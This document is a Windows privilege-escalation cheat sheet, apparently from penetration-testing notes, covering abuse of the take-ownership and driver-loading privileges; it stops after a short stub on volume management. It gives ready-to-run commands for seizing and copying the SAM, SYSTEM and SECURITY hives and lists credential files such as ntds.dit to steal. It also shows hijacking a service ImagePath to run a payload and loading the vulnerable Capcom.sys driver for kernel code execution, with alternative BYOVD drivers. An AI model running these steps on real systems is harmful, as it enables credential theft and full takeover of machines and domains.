SeTakeOwnership & SeLoadDriver¶
SeTakeOwnershipPrivilege¶
When You See This¶
- Members of the Administrators group
- Explicitly assigned via Local Security Policy
What It Allows¶
Take ownership of any securable object (files, registry keys, AD objects), then modify its DACL to grant yourself full access.
Exploitation Flow¶
:: Step 1: Take ownership
takeown /f "C:\Windows\System32\config\SAM"
:: Step 2: Grant yourself Full Control
icacls "C:\Windows\System32\config\SAM" /grant YourUser:F
:: Step 3: Copy the file
copy "C:\Windows\System32\config\SAM" C:\temp\SAM
High-Value Target Files¶
| Target File | Contents | What to Do |
|---|---|---|
C:\Windows\System32\config\SAM |
Local password hashes | Copy + decrypt with secretsdump |
C:\Windows\System32\config\SYSTEM |
Boot key for SAM decryption | Copy alongside SAM |
C:\Windows\System32\config\SECURITY |
LSA secrets, cached domain creds | Copy alongside SAM |
C:\Windows\NTDS\ntds.dit |
All AD domain hashes (on DCs) | Copy + decrypt with secretsdump |
C:\inetpub\wwwroot\web.config |
IIS connection strings, DB creds | Read directly |
C:\Windows\repair\SAM |
Backup SAM (sometimes present) | Copy + decrypt |
Full Extraction Workflow¶
:: Take ownership and extract SAM + SYSTEM + SECURITY
takeown /f "C:\Windows\System32\config\SAM"
takeown /f "C:\Windows\System32\config\SYSTEM"
takeown /f "C:\Windows\System32\config\SECURITY"
icacls "C:\Windows\System32\config\SAM" /grant %username%:F
icacls "C:\Windows\System32\config\SYSTEM" /grant %username%:F
icacls "C:\Windows\System32\config\SECURITY" /grant %username%:F
copy "C:\Windows\System32\config\SAM" C:\temp\SAM
copy "C:\Windows\System32\config\SYSTEM" C:\temp\SYSTEM
copy "C:\Windows\System32\config\SECURITY" C:\temp\SECURITY
Registry Key Ownership¶
You can also take ownership of registry keys to modify service configurations:
:: Take ownership of a service registry key
takeown /f "HKLM\SYSTEM\CurrentControlSet\Services\TargetService" /r
:: Then modify the ImagePath to point to your payload
reg add "HKLM\SYSTEM\CurrentControlSet\Services\TargetService" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\payload.exe" /f
SeLoadDriverPrivilege¶
When You See This¶
- Members of the Print Operators group (on Domain Controllers)
- Explicitly assigned via Group Policy
What It Allows¶
Load and unload kernel-mode device drivers. Since drivers run in Ring 0 (kernel space), a vulnerable driver gives you unrestricted system access.
Exploitation — Capcom.sys Technique¶
Uses a legitimately signed but intentionally vulnerable driver (Capcom.sys) that exposes a kernel-mode code execution interface via IOCTL.
Tools needed:
| Tool | Purpose | Repo |
|---|---|---|
EoPLoadDriver.exe |
Registers and loads a driver | TarlogicSecurity/EoPLoadDriver |
Capcom.sys |
Vulnerable signed driver | FuzzySecurity/Capcom-Rootkit |
ExploitCapcom.exe |
Uses Capcom.sys for code exec | tandasat/ExploitCapcom |
:: Step 1: Register and load the vulnerable driver
EoPLoadDriver.exe System\CurrentControlSet\CapcomDrv C:\temp\Capcom.sys
:: Step 2: Exploit the driver to get SYSTEM
ExploitCapcom.exe
How Capcom.sys Works¶
EoPLoadDrivercreates a registry key underHKLM\System\CurrentControlSet\CapcomDrvpointing toCapcom.sys- It then calls
NtLoadDriver()to load the driver into kernel space ExploitCapcomsends an IOCTL to Capcom.sys requesting kernel-mode code execution- Capcom.sys disables SMEP (Supervisor Mode Execution Prevention) and executes user-supplied shellcode in Ring 0
- The shellcode steals the SYSTEM token and assigns it to the current process
Alternative: Bring Your Own Vulnerable Driver (BYOVD)¶
If Capcom.sys is blocked by Driver Signature Enforcement, there are other signed-but-vulnerable drivers:
| Driver | Vulnerability |
|---|---|
DBUtil_2_3.sys (Dell) |
Arbitrary read/write in kernel memory |
RTCore64.sys (MSI Afterburner) |
Arbitrary read/write via IOCTL |
AsIO.sys (ASUS) |
Physical memory access |
Reference: loldrivers.io — Database of known vulnerable drivers
SeManageVolumePrivilege¶
What It Allows¶
Perform maintenance tasks on volumes. Can be abused for arbitrary file write through low-level disk operations.